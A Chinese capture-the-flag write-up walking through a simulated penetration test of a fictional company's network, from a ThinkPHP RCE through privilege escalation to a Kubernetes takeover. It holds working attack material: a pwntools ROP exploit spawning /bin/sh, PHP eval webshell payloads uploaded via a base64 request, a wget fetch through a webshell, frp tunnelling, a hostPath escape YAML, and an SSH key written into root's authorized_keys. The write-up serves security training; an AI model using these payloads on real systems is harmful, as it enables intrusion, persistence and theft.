第一届长城杯半决赛渗透题赛后复现
1
在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估“SmartLink Technologies Ltd.”公司的网络安全状况。 您的任务是首先入侵该公司暴露在公网上的应用服务,然后运用后渗透技巧深入 SmartLink公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务,从而控制整个内部网络。靶场中共设置了6个Flag,它们分布在不同的靶机上,您需要找到并获取这些 Flag 作为您的成就目标。
扫描端口,发现8080后台登陆段
thinkphp框架, 5.0.23 RCE的nday
直接getshell
蚁剑连过去,在根目录找到第一个flag
查看网卡信息
上传fscan扫描内网网段
(起初fscan反应不正常,后来发现是蚁剑连接的问题,直接将输出结果写入result)
发现内网资产,上传frp内网穿透+proxifier代理,将shell的内网流量转发出来
1
2
3
4
# frp_0.53.2
nohup /tmp/frpc -c /tmp/frpc.toml &
# Proxifier
socks5 <your-ip> <your-port>
(这里踩了许多坑…..)
转发出来之后,通过本地直接访问目标内网资产
根据fscan的扫描结果可知是Shiro框架+heapdump泄露
1
172.28.23.33:8080/actuator/heapdump
随后
1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
得到shiro-key
注入内存马,冰蝎连过去
当前为普通用户权限,应该是要提权
查看主机开放端口
在/home/ops01目录下发现HashNote文件
对 HashNote 进行分析。程序对 password 做了校验,username 输入任意值均可。
1
2
password 值:
freep@ssw0rd:3
提权脚本:https://www.dr0n.top/posts/f249db01/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context . arch = 'amd64'
def add ( key , data = 'b' ):
p . sendlineafter ( b 'Option:' , b '1' )
p . sendlineafter ( b 'Key:' , key )
p . sendlineafter ( b 'Data:' , data )
def show ( key ):
p . sendlineafter ( b 'Option:' , b '2' )
p . sendlineafter ( b "Key: " , key );
def edit ( key , data ):
p . sendlineafter ( b 'Option:' , b '3' )
p . sendlineafter ( b 'Key:' , key )
p . sendlineafter ( b 'Data:' , data )
def name ( username ):
p . sendlineafter ( b 'Option:' , b '4' )
p . sendlineafter ( b 'name:' , username )
p = remote ( '172.28.23.33' , 59696 )
# p = process('./HashNote')
username = 0x5dc980
stack = 0x5e4fa8
ukey = b ' \x30 ' * 5 + b ' \x31 ' + b ' \x44 '
fake_chunk = flat ({
0 : username + 0x10 ,
0x10 :[ username + 0x20 , len ( ukey ), \
ukey , 0 ],
0x30 :[ stack , 0x10 ]
}, filler = b ' \x00 ' )
p . sendlineafter ( b 'name' , fake_chunk )
p . sendlineafter ( b 'word' , 'freep@ssw0rd:3' )
add ( b ' \x30 ' * 1 + b ' \x31 ' + b ' \x44 ' , b 'test' ) # 126
add ( b ' \x30 ' * 2 + b ' \x31 ' + b ' \x44 ' , b 'test' ) # 127
show ( ukey )
main_ret = u64 ( p . read ( 8 )) - 0x1e0
rdi = 0x0000000000405e7c # pop rdi ; ret
rsi = 0x000000000040974f # pop rsi ; ret
rdx = 0x000000000053514b # pop rdx ; pop rbx ; ret
rax = 0x00000000004206ba # pop rax ; ret
syscall = 0x00000000004560c6 # syscall
fake_chunk = flat ({
0 : username + 0x20 ,
0x20 :[ username + 0x30 , len ( ukey ), \
ukey , 0 ],
0x40 :[ main_ret , 0x100 , b '/bin/sh \x00 ' ]
}, filler = b ' \x00 ' )
name ( fake_chunk . ljust ( 0x80 , b ' \x00 ' ))
payload = flat ([
rdi , username + 0x50 ,
rsi , 0 ,
rdx , 0 , 0 ,
rax , 0x3b ,
syscall
])
p . sendlineafter ( b 'Option:' , b '3' )
p . sendlineafter ( b 'Key:' , ukey )
p . sendline ( payload )
p . sendlineafter ( b 'Option:' , b '9' )
p . interactive ()
进入/root目录得到flag3
vmware的流量挂proxifier代理:
摘自先知社区:https://xz.aliyun.com/t/13167
很多时候,作为攻击队,我们都需要在纯净的武器库虚拟机中完成自己的渗透(因为蜜罐会尝试获取浏览器Cookie和本地文件,用自己的实体机很快就能被溯源),如何直接让所有的虚拟机都走上代理呢?
注:本文这个方法,无视任何类型的系统类型和对应配置,只要配置VM网卡出网即可被代理
如下配置:
应用程序填写如下:
1
vmware.exe; vmnetcfg.exe; vmnat.exe; vmrun.exe; vmware-vmx.exe; mkssandbox.exe; vmware-hostd.exe; vmnat.exe; vmnetdhcp.exe
VM虚拟机17以上版本-特别补充
之前有挺多师傅反馈VMware 17以上版本无法将流量代理出来,苦于本地没装VMware 17,一直没空尝试,今天终于和 nack0c
师傅研究出了解决方法:
在“配置文件”的“高级”处,选择“服务与其他用户”,然后勾选上两个选项:
勾选上就可以解决VMware 17以上的版本无法代理的问题啦~祝师傅们玩的开心哈哈~
如果还是代理不上,请尝试本文的 3.4 补充
里面按操作导入配置文件
上传fscan扫描该网段,得到:172.22.10.28
在之前的fscan扫描结果中发现有ftp可匿名登陆
ftp连过去
从main.php
开始进行代码审计,开头引入了db.php
和checklogin.php
checklogin.php中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? php
function islogin (){
if ( isset ( $_COOKIE [ 'id' ]) && isset ( $_COOKIE [ 'loginname' ]) && isset ( $_COOKIE [ 'jueseid' ]) && isset ( $_COOKIE [ 'danweiid' ]) && isset ( $_COOKIE [ 'quanxian' ])){
if ( $_COOKIE [ 'id' ] != '' && $_COOKIE [ 'loginname' ] != '' && $_COOKIE [ 'jueseid' ] != '' && $_COOKIE [ 'danweiid' ] != '' && $_COOKIE [ 'quanxian' ] != '' ){
return true ;
}
else {
return false ;
}
}
else {
return false ;
}
}
?>
Cookie: id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1
直接登录main.php
源码根目录下还有一个uploadbase64.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? php
/**
* Description: PhpStorm.
* Author: yoby
* DateTime: 2018/12/4 18:01
* Email:logove@qq.com
* Copyright Yoby版权所有
*/
$img = $_POST [ 'imgbase64' ];
if ( preg_match ( '/^(data:\s*image\/(\w+);base64,)/' , $img , $result )) {
$type = "." . $result [ 2 ];
$path = "upload/" . date ( "Y-m-d" ) . "-" . uniqid () . $type ;
}
$img = base64_decode ( str_replace ( $result [ 1 ], '' , $img ));
@ file_put_contents ( $path , $img );
exit ( '{"src":"' . $path . '"}' );
对于上传的校验不完整,只要符合格式是data:image/xxx;base64,xxx
这种就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / uploadbase64 . php HTTP / 1.1
Host : 172.28 . 23.26
Pragma : no - cache
Cache - Control : no - cache
Upgrade - Insecure - Requests : 1
User - Agent : Mozilla / 5.0 ( Windows NT 10.0 ; Win64 ; x64 ) AppleWebKit / 537.36 ( KHTML , like Gecko ) Chrome / 126.0 . 0.0 Safari / 537.36 Edg / 126.0 . 0.0
Accept : text / html , application / xhtml + xml , application / xml ; q = 0.9 , image / avif , image / webp , image / apng , */* ; q = 0.8 , application / signed - exchange ; v = b3 ; q = 0.7
Accept - Encoding : gzip , deflate
Accept - Language : zh - CN , zh ; q = 0.9 , en ; q = 0.8 , en - GB ; q = 0.7 , en - US ; q = 0.6
Connection : close
Content - Type : application / x - www - form - urlencoded
Content - Length : 76
imgbase64 = data : image / php ; base64 , PD89YCRfR0VUWzFdYDtldmFsKCRfUE9TVFsxXSk7Pz4 =
用蚁剑的插件绕过disable_functions(大部分功能只支持Linux系统)
成功后,再创建一个GET一句话木马/upload/1.php,将.antproxy.php第37行的url改成/upload/1.php
1
2
#/upload/1.php
< ? php eval ( $ _GET [ 1 ]); ? >
访问.antproxy.php(相当于访问没有disabled_functions的1.php文件),执行系统命令,发现base32有suid,可进行利用
不能直接读flag02.txt
执行find / -perm -u=s -type f 2>/dev/null
,发现base32
有suid权限,可以利用
上传fscan,扫描172.22.14.0/24网段
1
http : // 172.28 . 23.26 / upload /. antproxy . php ? a = system ( "wget http://172.28.23.17:8080/fscan" );
172.28.23.17
1
2
chmod +x frps
nohup ./frps -c frps.ini &
172.28.23.33
1
2
chmod +x frpc
nohup ./frpc -c frpc.ini &
Proxifier Chains
1
2
socks5 <your-ip> <your-port>
socks5 172.28.23.17 <your-port>
代理链
代理规则
第二层打通,扫一下172.22.14.0/24网段
成功访问 Harbor:
Harbor 公开镜像仓库未授权访问 CVE-2022-46463
https://github.com/404tk/CVE-2022-46463
Linux 环境下运行 harbor.py
1
python3 harbor.py http://172.22.14.46/
1
python3 harbor.py http://172.22.14.46/ --dump harbor/secret --v2
随后分析镜像文件,找到 flag05:
1
python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2
分析镜像文件,发现运行了 run.sh
,内容如下:
ProjectAdmin-0.0.1-SNAPSHOT.jar
。反编译,在 SpringBoot 配置文件 application.properties
中找到数据库账号密码:
1
2
3
4
spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
再写一个规则,连上mysql
MDUT直接梭
折腾了好一顿才用这个工具连上
工具自身的mysql驱动目录配置有问题
(k8s这块实在不会,照着人家wp打的)
k8s kubelet 10250端口未授权
,但是不符合利用条件
还有一个6443端口的Api Server未授权
编辑恶意yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
创建pod
1
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil.yaml
列出pod
1
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -n default
进容器
1
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-zfgqd /bin/bash
写公钥
1
echo "ssh-rsa xxxx" > /mnt/root/.ssh/authorized_keys
ssh连接,在数据库中得到flag
读取flag